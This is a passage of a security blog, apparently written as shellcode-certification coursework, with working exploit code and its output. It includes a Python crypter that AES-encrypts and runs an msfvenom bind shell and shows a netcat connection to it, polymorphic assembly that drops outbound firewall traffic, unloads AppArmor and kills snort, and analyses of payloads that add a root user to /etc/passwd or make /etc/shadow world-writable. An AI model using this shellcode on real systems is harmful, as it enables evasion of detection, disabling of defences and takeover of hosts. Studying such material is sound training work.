Sunday, January 11, 2015

7. encrypted shellcode

And the final mega boss to be defeated, the encrypted shellcode.

I have created a single python file for this task - for easy testing.
The python file encrypts the payload with AES, prints the encrypted payload, decrypts it, and runs it in python.

Before I was able to run the shellcode in python, I had to enable stack execution on the python binary. Otherwise, I'm greeted with a nice Segmentation fault ... :

root@myserver:/home/ubuntu/SLAE_temp/7_crypter# ./shellcode.py
...
Segmentation fault (core dumped)
root@myserver:/home/ubuntu/SLAE_temp/7_crypter# execstack -q /usr/bin/python
- /usr/bin/python
root@myserver:/home/ubuntu/SLAE_temp/7_crypter# execstack -s /usr/bin/python
root@myserver:/home/ubuntu/SLAE_temp/7_crypter# execstack -q /usr/bin/python
X /usr/bin/python
Now that it is disabled, let's see my code (https://github.com/Z6543/My_SLAE/blob/master/07_encrypted_shellcode/encrypted_shellcode.py):
#!/usr/bin/python
#Author: Zoltan Balazs
#SLAE 607

from ctypes import *

from Crypto.Cipher import AES
import base64
import os


def print_shellcode(shellcode):
        encoded = ""
        for x in bytearray(shellcode):
                value = x
                encoded += '\\x'
                encoded += '%02x' % value
        print encoded

BLOCK_SIZE = 32

PADDING = '{'

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING

EncryptAES = lambda c, s: c.encrypt(pad(s))
DecryptAES = lambda c, e: c.decrypt(e).rstrip(PADDING)

#secret = base64.b64encode(os.urandom(BLOCK_SIZE))
secret = (base64.b64decode("7dXwb5giAn7bJGp1VNfmu29oDK2r0mUkEEf9gVrtRE4="))

cipher = AES.new(secret)

#output of msfvenom -p linux/x86/shell_bind_tcp -f python -e x86/shikata_ga_nai LPORT=12345
buf =  ""
buf += "\xb8\x35\x93\x35\x4b\xda\xc6\xd9\x74\x24\xf4\x5f\x2b"
buf += "\xc9\xb1\x14\x83\xef\xfc\x31\x47\x10\x03\x47\x10\xd7"
buf += "\x66\x04\x90\xe0\x6a\x34\x65\x5d\x07\xb9\xe0\x80\x67"
buf += "\xdb\x3f\xc2\xd3\x7a\x92\xaa\xe1\x82\x22\x13\x8c\x92"
buf += "\x13\x33\xd9\x72\xf9\xd5\x81\xb9\x7e\x90\x73\x46\xcc"
buf += "\xa6\xc3\x20\xff\x26\x60\x1d\x99\xeb\xe7\xce\x3f\x99"
buf += "\xd8\xa8\x72\xdd\x6e\x30\x75\xb5\x5f\xed\xf6\x2d\xc8"
buf += "\xde\x9a\xc4\x66\xa8\xb8\x46\x24\x23\xdf\xd6\xc1\xfe"
buf += "\xa0"

# encrypt a string
encrypted_shellcode = EncryptAES(cipher, buf)

print 'Encrypted shellcode ...'
print_shellcode(encrypted_shellcode)

# decrypt the encrypted string
decrypted = DecryptAES(cipher, encrypted_shellcode)

print 'Decrypted shellcode ...'
print_shellcode(decrypted)

memorywithshell = create_string_buffer(decrypted, len(decrypted))
print (len(decrypted))
shellcode = cast(memorywithshell, CFUNCTYPE(c_void_p))

shellcode()

Let's test this:
root@myserver:/home/ubuntu/SLAE_temp/7_crypter# ./shellcode.py
Encrypted shellcode ...
\x1a\xa5\x0a\xe3\x2a\x2f\x95\x95\x29\x83\x21\xef\x5e\x9e\x6e\x91\xe0\x6c\x1c\xc9\xa1\x58\x29\x77\x4a\x4d\xbe\x3f\x4a\x76\xfb\x02\xfa\x38\xf3\x6d\xc4\x16\xcb\xfb\x34\x60\x04\x49\xf9\xc7\x3c\x12\xd8\x1c\xa7\x8f\x26\x9e\xf4\xe3\xe3\x4e\xdb\xc7\x82\x13\x23\x65\xc7\x03\x59\x79\xa6\x04\xe4\x3d\x3b\x48\x57\xee\xa9\xec\x85\xc3\xfb\x74\x9a\xc9\xe2\x33\x0a\x13\x56\x5c\x67\xe6\xd9\x91\xd9\xdf\xc6\x92\xea\xda\x6b\x27\x14\x5c\x7c\x7d\x96\x6a\xd3\xb7\x87\xd0\x69\xf8\x3d\xd4\xc7\x00\x6b\xe3\x4d\xf7\xc7\x88\x26\x9a\x08\x3f
Decrypted shellcode ...
\xb8\x35\x93\x35\x4b\xda\xc6\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x14\x83\xef\xfc\x31\x47\x10\x03\x47\x10\xd7\x66\x04\x90\xe0\x6a\x34\x65\x5d\x07\xb9\xe0\x80\x67\xdb\x3f\xc2\xd3\x7a\x92\xaa\xe1\x82\x22\x13\x8c\x92\x13\x33\xd9\x72\xf9\xd5\x81\xb9\x7e\x90\x73\x46\xcc\xa6\xc3\x20\xff\x26\x60\x1d\x99\xeb\xe7\xce\x3f\x99\xd8\xa8\x72\xdd\x6e\x30\x75\xb5\x5f\xed\xf6\x2d\xc8\xde\x9a\xc4\x66\xa8\xb8\x46\x24\x23\xdf\xd6\xc1\xfe\xa0
105

And in another window:
root@myserver:/home/ubuntu/SLAE_temp/7_crypter# nc 127.0.0.1 12345
ls
shellcode.py

That's all folks! :)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE - 607

6. Polymorphic shellcode

The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the sixth assignment, where I have to create analyze three shellcode with ndisasm, gdb and libemu.

First polymorphic shellcode: iptables OUTPUT DROP policy

The solution on Github:
https://github.com/Z6543/My_SLAE/blob/master/06_polymorphism/1_iptables.nasm


The original shellcode: http://shell-storm.org/shellcode/files/shellcode-740.php
///sbin/iptables -P OUTPUT DROP(Policy of drop to OUTPUT chain)

The solution:
global _start   

section .text
_start:
    ;xor eax,eax
    mov ebx, eax
    xor eax, ebx

    ;xor edx,edx
    mov edx, eax

    ;push eax
    mov dword [esp-4], eax
    sub esp, 4

    ;push dword 0x504f5244
    mov esi, 0x61606355
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4
 
    mov edi,esp
    push eax

    ;push dword 0x54555054
    mov esi, 0x65666165
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    ;push dword 0x554f502d
    mov esi, 0x6660613E
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    mov ecx,esp
    push eax
    ;push dword 0x73656c62
    mov esi, 0x84767D73
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4


    ;push dword 0x61747069
    mov esi, 0x7285817A
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    ;push dword 0x2f6e6962
    mov esi, 0x407F7A73
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    ;push dword 0x732f2f2f
    mov esi, 0x84404040
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    mov ebx,esp
    push eax
    push edi
    push ecx
    push ebx
    mov ecx,esp
    xor edx,edx
    mov al,0xb
    int 0x80

Check if it works:
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# iptables -L OUTPUT
Chain OUTPUT (policy ACCEPT)
...
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# iptables -L OUTPUT
Chain OUTPUT (policy DROP)
...

Second polymorphic shellcode: apparmor teardown

The solution on Github:
https://github.com/Z6543/My_SLAE/blob/master/06_polymorphism/2_apparmor.nasm

The original shellcode:
http://shell-storm.org/shellcode/files/shellcode-765.php

The solution:
global _start

section .text
_start:

  push byte +0xb
  pop eax
  ;xor edx,edx
  mov edx, ebx
  xor edx, ebx  

  push edx
  ;push dword 0x6e776f64
      mov esi, 0x7F888075
  sub esi, 0x11111111
      mov dword [esp-4],esi
      sub esp, 4

  ;push dword 0x72616574
                mov esi, 0x83727685
                sub esi, 0x11111111
                mov dword [esp-4],esi
                sub esp, 4

  mov ecx,esp
  push edx

  ;push dword 0x726f6d72
                mov esi, 0x83807E83
                sub esi, 0x11111111
                mov dword [esp-4],esi
                sub esp, 4

  ;push dword 0x61707061
                mov esi, 0x72818172
                sub esi, 0x11111111
                mov dword [esp-4],esi
                sub esp, 4

  ;push dword 0x2f642e74
                mov esi, 0x40753F85
                sub esi, 0x11111111
                mov dword [esp-4],esi
                sub esp, 4

  ;push dword 0x696e692f
                mov esi, 0x7A7F7A40
                sub esi, 0x11111111
                mov dword [esp-4],esi
                sub esp, 4

  ;push dword 0x6374652f
                mov esi, 0x74857640
                sub esi, 0x11111111
                mov dword [esp-4],esi
                sub esp, 4

  mov ebx,esp
  push edx
  push ecx
  push ebx
  mov ecx,esp
  int 0x80
Check to see if it works:
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# /etc/init.d/apparmor status
apparmor module is loaded.
6 profiles are loaded.
6 profiles are in enforce mode.
   /sbin/dhclient
   /usr/lib/NetworkManager/nm-dhcp-client.action
   /usr/lib/connman/scripts/dhclient-script
   /usr/sbin/mysqld
   /usr/sbin/ntpd
   /usr/sbin/tcpdump
0 profiles are in complain mode.
2 processes have profiles defined.
2 processes are in enforce mode.
   /usr/sbin/mysqld (1588)
   /usr/sbin/ntpd (1310)
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.

root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# ./all_compile.sh 2_apparmor
Usage ./all_compile.sh source_file  E.g. ./all_compile.sh test wwhere test.nasm is the source file
[+] Assembling with Nasm ...
[+] Linking ...
[+] Dumping shellcode ...
[+] Creating new shellcode.c ...
[+] Compiling shellcode.c ...
[+] Done! Run ./shellcode to execute!
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# ./shellcode
Shellcode Length:  146
 * Unloading AppArmor profiles
   ...done.
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# /etc/init.d/apparmor status
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode.
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.

Third polymorphic shellcode: kill snort

The solution on Github:
https://github.com/Z6543/My_SLAE/blob/master/06_polymorphism/3_kill_snort.nasm
The original shellcode:
http://shell-storm.org/shellcode/files/shellcode-741.php

The solution:
global _start

section .text
_start:

    xor eax,eax

    push eax
    push byte +0x74

    ;push dword 0x726f6e73
    mov esi, 0x83807F84
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    mov edi,esp
    push eax
    
    ;push dword 0x6c6c616c
    mov esi, 0x7D7D727D
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    ;push dword 0x6c696b2f
    mov esi, 0x7D7A7C40
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    ;push dword 0x6e69622f
    mov esi, 0x7F7A7340
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    ;push dword 0x7273752f
    mov esi, 0x83848640
    sub esi, 0x11111111
    mov dword [esp-4],esi
    sub esp, 4

    mov ebx,esp
    push eax
    push edi
    push ebx
    mov ecx,esp
    xor edx,edx
    mov al,0xb
    int 0x80
Check if it works:
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# ps -ewf | grep snort
root      9791  4145  0 14:58 pts/1    00:00:00 /bin/bash ./snort
root      9794  9452  0 14:58 pts/0    00:00:00 grep --color=auto snort
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# ./all_compile.sh  3_kill_snort && ./shellcode
Usage ./all_compile.sh source_file  E.g. ./all_compile.sh test wwhere test.nasm is the source file
[+] Assembling with Nasm ...
[+] Linking ...
[+] Dumping shellcode ...
[+] Creating new shellcode.c ...
[+] Compiling shellcode.c ...
[+] Done! Run ./shellcode to execute!
Shellcode Length:  111
root@myserver:/home/ubuntu/SLAE_temp/6_polymorphic# ps -ewf | grep snort
root      9813  9452  0 14:58 pts/0    00:00:00 grep --color=auto snort
That's all!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE - 607

Saturday, January 10, 2015

5. analyze shellcode


The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the fifth assignment, where I have to create analyze three shellcode with ndisasm, gdb and libemu.

First shellcode, adduser

root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/adduser -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
Check the instructions with ndisasm:
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call dword 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80
Debug with dbg. The first syscall is clearly 0x46, #define __NR_setgid 46, so we have setgid call to preserve root privileges. Next syscall is 0x5, #define __NR_open 5
man 2 open
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

(gdb) print /x $ebx
$3 = 0xffffd67c

(gdb) x/1s 0xffffd67c
0xffffd67c:     "/etc//passwd"
Okay, so shellcode opens /etc/passwd next syscall
eax            0x4      4
ecx            0x804a06b        134520939
edx            0x28     40
the next part of the code is data, although it looks gibberish:
   0x0804a06b <+43>:    insl   (%dx),%es:(%edi)
   0x0804a06c <+44>:    gs
   0x0804a06d <+45>:    je     0x804a0d0
   0x0804a06f <+47>:    jae    0x804a0e1
   0x0804a071 <+49>:    insb   (%dx),%es:(%edi)
   0x0804a072 <+50>:    outsl  %ds:(%esi),(%dx)
   0x0804a073 <+51>:    imul   $0x49642f7a,0x41(%edx,%edi,1),%esi
   0x0804a07b <+59>:    jae    0x804a0e7
   0x0804a07d <+61>:    xor    $0x70,%al
   0x0804a07f <+63>:    xor    $0x49,%al
   0x0804a081 <+65>:    push   %edx
   0x0804a082 <+66>:    arpl   %di,(%edx)
   0x0804a084 <+68>:    xor    %bh,(%edx)
   0x0804a086 <+70>:    xor    %bh,(%edx)
   0x0804a088 <+72>:    cmp    (%edi),%ch
   0x0804a08a <+74>:    cmp    (%edi),%ch
   0x0804a08c <+76>:    bound  %ebp,0x6e(%ecx)
   0x0804a08f <+79>:    das
   0x0804a090 <+80>:    jae    0x804a0fa
   0x0804a092 <+82>:    or     -0x75(%ecx),%bl
   0x0804a095 <+85>:    push   %ecx
   0x0804a096 <+86>:    cld

(gdb) x /1s 0x804a06b
0x804a06b :    "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q▒j\004X▒\200j\001X▒\200"
See, it is the data inserted into the /etc/passwd file. Final part, exit:
   0x0804a09c <+92>:    push   $0x1
   0x0804a09e <+94>:    pop    %eax
   0x0804a09f <+95>:    int    $0x80
exit
I also tried to analyse with libemu, no luck.
root@myserver:/home/ubuntu/libemu/tools/sctest# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ./sctest -vvv -Ss -100000
verbose = 3
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417000
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags:
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417000
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags:
[emu 0x0x15d60e0 debug ] 31C9                            xor ecx,ecx
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417002
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 89CB                            mov ebx,ecx
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417004
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 6A46                            push byte 0x46
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417006
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 58                              pop eax
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417007
[emu 0x0x15d60e0 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] CD80                            int 0x80
stepcount 4
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417009
[emu 0x0x15d60e0 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF

Tried many things, no luck.

Second analyze shellcode, generate chmod shellcode with msfvenom

root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/chmod -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
Let's see whats ndisasm tells about this:
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80
Looks good, but gdb can help us more.
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>:     int3
   0x0804a041 <+1>:     push   $0xf
   0x0804a043 <+3>:     pop    %eax
   0x0804a044 <+4>:     push   %edx
   0x0804a045 <+5>:     call   0x804a056 
   0x0804a04a <+10>:    das
   0x0804a04b <+11>:    gs
   0x0804a04c <+12>:    je     0x804a0b1
   0x0804a04e <+14>:    das
   0x0804a04f <+15>:    jae    0x804a0b9
   0x0804a051 <+17>:    popa
   0x0804a052 <+18>:    outsl  %fs:(%esi),(%dx)
   0x0804a054 <+20>:    ja     0x804a056 
   0x0804a056 <+22>:    pop    %ebx
   0x0804a057 <+23>:    push   $0x1b6
   0x0804a05c <+28>:    pop    %ecx
   0x0804a05d <+29>:    int    $0x80
   0x0804a05f <+31>:    push   $0x1
   0x0804a061 <+33>:    pop    %eax
   0x0804a062 <+34>:    int    $0x80
   0x0804a064 <+36>:    add    %al,(%eax)
End of assembler dump.
So far so good, check the registers before the syscall.
(gdb) info registers
eax            0xf      15
ecx            0x1b6    438
edx            0x0      0
ebx            0x804a04a  134520906

#define __NR_chmod 15

int chmod(const char *path, mode_t mode);
So we run chmod on a file, but which one?
(gdb) x /1s 0x0804a04a
0x804a04a :    "/etc/shadow"
So we run chmod on /etc/shadow. Let's check the current permissions.
root@myserver:/home/ubuntu# ls -alh /etc/shadow
-rw-r----- 1 root shadow 1.2K Sep 17 20:43 /etc/shadow
And what if we finish the shellcode run?
root@myserver:/home/ubuntu# ls -alh /etc/shadow
-rw-rw-rw- 1 root shadow 1.2K Sep 17 20:43 /etc/shadow
Well, no surprise, ecx was 0x1b6, which converted to octal is 666 -rw-rw-rw-

Third shellcode, read file

root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/read_file -f c PATH=/etc/shadow
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00";
Disassemble with ndisasm.
root@myserver:/home/ubuntu# echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49
Guess what, libemu can't help, again ...
echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ./sctest -vvv -Ss -100000

[emu 0x0x23690e0 debug ] cpu state    eip=0x00417000
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417000
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] EB                              jmp 0x1
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417038
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] E8                              call 0x1
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417002
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] B805000000                      mov eax,0x5
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417007
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] 5B                              pop ebx
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417008
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] 31C9                            xor ecx,ecx
[emu 0x0x23690e0 debug ] cpu state    eip=0x0041700a
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags: PF ZF
[emu 0x0x23690e0 debug ] CD80                            int 0x80
stepcount 5
[emu 0x0x23690e0 debug ] cpu state    eip=0x0041700c
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags: PF ZF
Luckily, we have GDB, let's jump into the middle, check syscall parameters.
Breakpoint 2, 0x0804a04a in code ()
(gdb) info registers
eax            0x5      5
ecx            0x0      0
edx            0xf7fbc898 -134494056
